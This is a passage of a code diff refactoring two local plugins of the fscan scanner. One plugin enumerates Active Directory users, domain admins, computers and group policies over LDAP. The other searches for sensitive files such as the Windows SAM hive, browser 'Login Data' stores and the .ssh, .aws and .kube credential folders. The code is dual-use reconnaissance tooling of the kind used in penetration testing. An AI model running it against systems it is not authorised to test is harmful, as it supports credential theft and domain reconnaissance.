cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
|
||||||
output, err := cmd.Output()
|
output, err := cmd.Output()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainNameWmic 使用wmic获取域名
|
// getDomainNameWmic 使用wmic获取域名
|
||||||
func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
|
func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
|
||||||
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
|
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
|
||||||
output, err := cmd.Output()
|
output, err := cmd.Output()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainNameFromEnv 从环境变量获取域名
|
// getDomainNameFromEnv 从环境变量获取域名
|
||||||
func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
|
func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
|
||||||
// 尝试从环境变量获取
|
// 尝试从环境变量获取
|
||||||
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
|
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
|
||||||
output, err := cmd.Output()
|
output, err := cmd.Output()
|
||||||
@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// findDomainController 查找域控制器
|
// findDomainController 查找域控制器
|
||||||
func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
|
func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
|
||||||
// 方法1: 使用nslookup查询SRV记录
|
// 方法1: 使用nslookup查询SRV记录
|
||||||
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
|
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
|
||||||
output, err := cmd.Output()
|
output, err := cmd.Output()
|
||||||
@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// connectToLDAP 连接到LDAP服务器
|
// connectToLDAP 连接到LDAP服务器
|
||||||
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
||||||
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
|
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
|
||||||
|
|
||||||
// 创建SSPI客户端
|
// 创建SSPI客户端
|
||||||
@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
|||||||
|
|
||||||
// 方法2: 尝试使用IPv4地址
|
// 方法2: 尝试使用IPv4地址
|
||||||
common.LogDebug("方法2: 解析IPv4地址")
|
common.LogDebug("方法2: 解析IPv4地址")
|
||||||
ipv4, err := c.resolveIPv4(dcHost)
|
ipv4, err := p.resolveIPv4(dcHost)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
|
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
|
||||||
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
|
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
|
||||||
@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
|||||||
|
|
||||||
// 获取BaseDN
|
// 获取BaseDN
|
||||||
common.LogDebug("获取BaseDN...")
|
common.LogDebug("获取BaseDN...")
|
||||||
baseDN, err := c.getBaseDN(conn, domain)
|
baseDN, err := p.getBaseDN(conn, domain)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
return nil, "", err
|
return nil, "", err
|
||||||
@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getBaseDN 获取BaseDN
|
// getBaseDN 获取BaseDN
|
||||||
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
"",
|
"",
|
||||||
ldap.ScopeBaseObject,
|
ldap.ScopeBaseObject,
|
||||||
@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err
|
|||||||
}
|
}
|
||||||
|
|
||||||
// resolveIPv4 解析主机名为IPv4地址
|
// resolveIPv4 解析主机名为IPv4地址
|
||||||
func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
|
func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
|
||||||
ips, err := net.LookupIP(hostname)
|
ips, err := net.LookupIP(hostname)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
|
|||||||
return "", fmt.Errorf("未找到IPv4地址")
|
return "", fmt.Errorf("未找到IPv4地址")
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanLocal 执行域控信息扫描
|
// ScanLocal 执行域控信息扫描 - 简化版本
|
||||||
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
common.LogBase("开始域控制器信息收集...")
|
common.LogInfo("开始域控制器信息收集...")
|
||||||
|
|
||||||
// 建立域控连接
|
// 建立域控连接
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
domainConn, err := p.connectToDomain()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 提供更友好的错误信息
|
// 提供更友好的错误信息
|
||||||
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
|
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
|
||||||
@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
|||||||
Error: fmt.Errorf("域控连接失败: %v", err),
|
Error: fmt.Errorf("域控连接失败: %v", err),
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
defer p.connector.Close(conn)
|
defer func() {
|
||||||
|
if domainConn.LDAPConn != nil {
|
||||||
domainConn := conn.(*DomainConnection)
|
domainConn.LDAPConn.Close()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
// 收集域信息
|
// 收集域信息
|
||||||
domainData := make(map[string]interface{})
|
domainData := make(map[string]interface{})
|
||||||
@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
|||||||
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
|
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
systemInfo := p.GetSystemInfo()
|
||||||
|
|
||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: len(domainData) > 0,
|
Success: len(domainData) > 0,
|
||||||
Service: "DCInfo",
|
Service: "DCInfo",
|
||||||
Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
|
Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
|
||||||
Extra: domainData,
|
Extra: map[string]interface{}{
|
||||||
|
"domain_data": domainData,
|
||||||
|
"system_info": systemInfo,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
common.LogSuccess("域控制器信息收集完成")
|
common.LogSuccess("域控制器信息收集完成")
|
||||||
@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainInfo 获取域基本信息
|
// getDomainInfo 获取域基本信息
|
||||||
func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
conn.BaseDN,
|
conn.BaseDN,
|
||||||
ldap.ScopeBaseObject,
|
ldap.ScopeBaseObject,
|
||||||
@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainControllers 获取域控制器详细信息
|
// getDomainControllers 获取域控制器详细信息
|
||||||
func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
dcQuery := ldap.NewSearchRequest(
|
dcQuery := ldap.NewSearchRequest(
|
||||||
conn.BaseDN,
|
conn.BaseDN,
|
||||||
ldap.ScopeWholeSubtree,
|
ldap.ScopeWholeSubtree,
|
||||||
@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainUsersDetailed 获取域用户详细信息
|
// getDomainUsersDetailed 获取域用户详细信息
|
||||||
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
conn.BaseDN,
|
conn.BaseDN,
|
||||||
ldap.ScopeWholeSubtree,
|
ldap.ScopeWholeSubtree,
|
||||||
@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainAdminsDetailed 获取域管理员详细信息
|
// getDomainAdminsDetailed 获取域管理员详细信息
|
||||||
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
// 获取Domain Admins组
|
// 获取Domain Admins组
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
conn.BaseDN,
|
conn.BaseDN,
|
||||||
@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getComputersDetailed 获取域计算机详细信息
|
// getComputersDetailed 获取域计算机详细信息
|
||||||
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
conn.BaseDN,
|
conn.BaseDN,
|
||||||
ldap.ScopeWholeSubtree,
|
ldap.ScopeWholeSubtree,
|
||||||
@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getUserInfoByDN 根据DN获取用户信息
|
// getUserInfoByDN 根据DN获取用户信息
|
||||||
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
|
||||||
searchRequest := ldap.NewSearchRequest(
|
searchRequest := ldap.NewSearchRequest(
|
||||||
userDN,
|
userDN,
|
||||||
ldap.ScopeBaseObject,
|
ldap.ScopeBaseObject,
|
||||||
@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getGroupPolicies 获取组策略信息
|
// getGroupPolicies 获取组策略信息
|
||||||
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
common.LogDebug("开始搜索GPO...")
|
common.LogDebug("开始搜索GPO...")
|
||||||
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
||||||
|
|
||||||
@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getOrganizationalUnits 获取组织单位信息
|
// getOrganizationalUnits 获取组织单位信息
|
||||||
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) {
|
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||||
common.LogDebug("开始搜索OU和容器...")
|
common.LogDebug("开始搜索OU和容器...")
|
||||||
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
||||||
|
|
||||||
@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d
|
|||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 插件注册函数
|
// RegisterDCInfoPlugin 注册域控信息收集插件
|
||||||
func init() {
|
func RegisterDCInfoPlugin() {
|
||||||
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
|
factory := base.NewSimplePluginFactory(
|
||||||
&base.PluginMetadata{
|
&base.PluginMetadata{
|
||||||
Name: "dcinfo",
|
Name: "dcinfo",
|
||||||
Version: "1.0.0",
|
Version: "1.0.0",
|
||||||
@ -1031,5 +998,24 @@ func init() {
|
|||||||
func() base.Plugin {
|
func() base.Plugin {
|
||||||
return NewDCInfoPlugin()
|
return NewDCInfoPlugin()
|
||||||
},
|
},
|
||||||
))
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("dcinfo", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *DCInfoPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString("Windows域控制器信息收集插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n")
|
||||||
|
info.WriteString("要求: 必须在域环境中运行\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterDCInfoPlugin()
|
||||||
}
|
}
|
@ -12,24 +12,18 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/plugins/local"
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
)
|
)
|
||||||
|
|
||||||
// FileInfoPlugin 文件信息收集插件
|
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
|
||||||
type FileInfoPlugin struct {
|
type FileInfoPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *FileInfoConnector
|
|
||||||
|
|
||||||
// 配置选项
|
// 配置选项
|
||||||
blacklist []string
|
blacklist []string
|
||||||
whitelist []string
|
whitelist []string
|
||||||
}
|
|
||||||
|
|
||||||
// FileInfoConnector 文件信息连接器
|
|
||||||
type FileInfoConnector struct {
|
|
||||||
*local.BaseLocalConnector
|
|
||||||
sensitiveFiles []string
|
sensitiveFiles []string
|
||||||
searchDirs []string
|
searchDirs []string
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewFileInfoPlugin 创建文件信息收集插件
|
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
|
||||||
func NewFileInfoPlugin() *FileInfoPlugin {
|
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||||
metadata := &base.PluginMetadata{
|
metadata := &base.PluginMetadata{
|
||||||
Name: "fileinfo",
|
Name: "fileinfo",
|
||||||
@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin {
|
|||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewFileInfoConnector()
|
|
||||||
plugin := &FileInfoPlugin{
|
plugin := &FileInfoPlugin{
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
connector: connector,
|
|
||||||
blacklist: []string{
|
blacklist: []string{
|
||||||
// 可执行文件和库
|
// 可执行文件和库
|
||||||
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
||||||
@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin {
|
|||||||
|
|
||||||
// 设置平台支持
|
// 设置平台支持
|
||||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
// 初始化敏感文件和搜索目录
|
||||||
|
plugin.initSensitiveFiles()
|
||||||
|
|
||||||
return plugin
|
return plugin
|
||||||
}
|
}
|
||||||
@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewFileInfoConnector 创建文件信息连接器
|
|
||||||
func NewFileInfoConnector() *FileInfoConnector {
|
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
|
||||||
|
|
||||||
connector := &FileInfoConnector{
|
|
||||||
BaseLocalConnector: baseConnector,
|
|
||||||
}
|
|
||||||
|
|
||||||
connector.initSensitiveFiles()
|
|
||||||
|
|
||||||
return connector
|
|
||||||
}
|
|
||||||
|
|
||||||
// initSensitiveFiles 初始化敏感文件列表
|
// initSensitiveFiles 初始化敏感文件列表
|
||||||
func (c *FileInfoConnector) initSensitiveFiles() {
|
func (p *FileInfoPlugin) initSensitiveFiles() {
|
||||||
|
homeDir, _ := os.UserHomeDir()
|
||||||
|
|
||||||
switch runtime.GOOS {
|
switch runtime.GOOS {
|
||||||
case "windows":
|
case "windows":
|
||||||
c.sensitiveFiles = []string{
|
p.sensitiveFiles = []string{
|
||||||
"C:\\boot.ini",
|
"C:\\boot.ini",
|
||||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||||
"C:\\windows\\repair\\sam",
|
"C:\\windows\\repair\\sam",
|
||||||
"C:\\windows\\system32\\config\\sam",
|
"C:\\windows\\system32\\config\\sam",
|
||||||
}
|
}
|
||||||
|
|
||||||
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
|
if homeDir != "" {
|
||||||
c.sensitiveFiles = append(c.sensitiveFiles, []string{
|
p.sensitiveFiles = append(p.sensitiveFiles, []string{
|
||||||
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||||
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||||
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||||
@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
case "linux", "darwin":
|
case "linux", "darwin":
|
||||||
c.sensitiveFiles = []string{
|
p.sensitiveFiles = []string{
|
||||||
"/etc/apache/httpd.conf",
|
"/etc/apache/httpd.conf",
|
||||||
"/etc/httpd/conf/httpd.conf",
|
"/etc/httpd/conf/httpd.conf",
|
||||||
"/etc/nginx/nginx.conf",
|
"/etc/nginx/nginx.conf",
|
||||||
@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
c.searchDirs = c.getOptimizedSearchDirs()
|
p.searchDirs = p.getOptimizedSearchDirs()
|
||||||
}
|
}
|
||||||
|
|
||||||
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
||||||
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
|
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
|
||||||
var dirs []string
|
var dirs []string
|
||||||
|
homeDir, _ := os.UserHomeDir()
|
||||||
|
|
||||||
switch runtime.GOOS {
|
switch runtime.GOOS {
|
||||||
case "windows":
|
case "windows":
|
||||||
dirs = []string{
|
dirs = []string{
|
||||||
// 用户目录的关键文件夹
|
// 用户目录的关键文件夹
|
||||||
c.GetCommonDirectories()[0], // homeDir
|
homeDir,
|
||||||
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
|
filepath.Join(homeDir, "Desktop"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
|
filepath.Join(homeDir, "Documents"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
|
filepath.Join(homeDir, "Downloads"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
|
filepath.Join(homeDir, ".ssh"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
|
filepath.Join(homeDir, ".aws"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
|
filepath.Join(homeDir, ".azure"),
|
||||||
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
|
filepath.Join(homeDir, ".kube"),
|
||||||
// 公共目录的关键部分
|
// 公共目录的关键部分
|
||||||
"C:\\Users\\Public\\Documents",
|
"C:\\Users\\Public\\Documents",
|
||||||
"C:\\Users\\Public\\Desktop",
|
"C:\\Users\\Public\\Desktop",
|
||||||
}
|
}
|
||||||
case "linux", "darwin":
|
case "linux", "darwin":
|
||||||
homeDir := c.GetCommonDirectories()[0]
|
|
||||||
dirs = []string{
|
dirs = []string{
|
||||||
homeDir,
|
homeDir,
|
||||||
filepath.Join(homeDir, "Desktop"),
|
filepath.Join(homeDir, "Desktop"),
|
||||||
@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
|
|||||||
return validDirs
|
return validDirs
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanLocal 执行本地文件扫描
|
// ScanLocal 执行本地文件扫描 - 简化版本
|
||||||
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
common.LogBase("开始本地敏感文件扫描...")
|
common.LogInfo("开始本地敏感文件扫描...")
|
||||||
|
|
||||||
// 建立连接
|
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("连接失败: %v", err),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
defer p.connector.Close(conn)
|
|
||||||
|
|
||||||
foundFiles := make([]string, 0)
|
foundFiles := make([]string, 0)
|
||||||
|
|
||||||
// 扫描固定位置的敏感文件
|
// 扫描固定位置的敏感文件
|
||||||
common.LogDebug("扫描固定敏感文件位置...")
|
common.LogDebug("扫描固定敏感文件位置...")
|
||||||
for _, file := range p.connector.sensitiveFiles {
|
for _, file := range p.sensitiveFiles {
|
||||||
if p.checkFile(file) {
|
if p.checkFile(file) {
|
||||||
foundFiles = append(foundFiles, file)
|
foundFiles = append(foundFiles, file)
|
||||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
||||||
@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
|||||||
searchFiles := p.searchSensitiveFiles()
|
searchFiles := p.searchSensitiveFiles()
|
||||||
foundFiles = append(foundFiles, searchFiles...)
|
foundFiles = append(foundFiles, searchFiles...)
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
systemInfo := p.GetSystemInfo()
|
||||||
|
|
||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: len(foundFiles) > 0,
|
Success: true,
|
||||||
Service: "FileInfo",
|
Service: "FileInfo",
|
||||||
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
|
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
|
||||||
Extra: map[string]interface{}{
|
Extra: map[string]interface{}{
|
||||||
"files": foundFiles,
|
"files": foundFiles,
|
||||||
"total_count": len(foundFiles),
|
"total_count": len(foundFiles),
|
||||||
"platform": runtime.GOOS,
|
"platform": runtime.GOOS,
|
||||||
|
"system_info": systemInfo,
|
||||||
|
"search_dirs": len(p.searchDirs),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(foundFiles) > 0 {
|
if len(foundFiles) > 0 {
|
||||||
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
||||||
|
for _, file := range foundFiles {
|
||||||
|
common.LogSuccess(fmt.Sprintf("发现: %s", file))
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
common.LogDebug("未发现敏感文件")
|
common.LogInfo("未发现敏感文件")
|
||||||
}
|
}
|
||||||
|
|
||||||
return result, nil
|
return result, nil
|
||||||
@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
|||||||
maxFiles := 50 // 限制最多找到的文件数量
|
maxFiles := 50 // 限制最多找到的文件数量
|
||||||
maxDepth := 4 // 限制递归深度
|
maxDepth := 4 // 限制递归深度
|
||||||
|
|
||||||
for _, searchPath := range p.connector.searchDirs {
|
for _, searchPath := range p.searchDirs {
|
||||||
if len(foundFiles) >= maxFiles {
|
if len(foundFiles) >= maxFiles {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// 插件注册函数
|
// RegisterFileInfoPlugin 注册文件信息收集插件
|
||||||
func init() {
|
func RegisterFileInfoPlugin() {
|
||||||
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
|
factory := base.NewSimplePluginFactory(
|
||||||
&base.PluginMetadata{
|
&base.PluginMetadata{
|
||||||
Name: "fileinfo",
|
Name: "fileinfo",
|
||||||
Version: "1.0.0",
|
Version: "1.0.0",
|
||||||
@ -372,5 +356,25 @@ func init() {
|
|||||||
func() base.Plugin {
|
func() base.Plugin {
|
||||||
return NewFileInfoPlugin()
|
return NewFileInfoPlugin()
|
||||||
},
|
},
|
||||||
))
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("fileinfo", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *FileInfoPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString("本地敏感文件扫描插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
|
||||||
|
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
|
||||||
|
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterFileInfoPlugin()
|
||||||
}
|
}
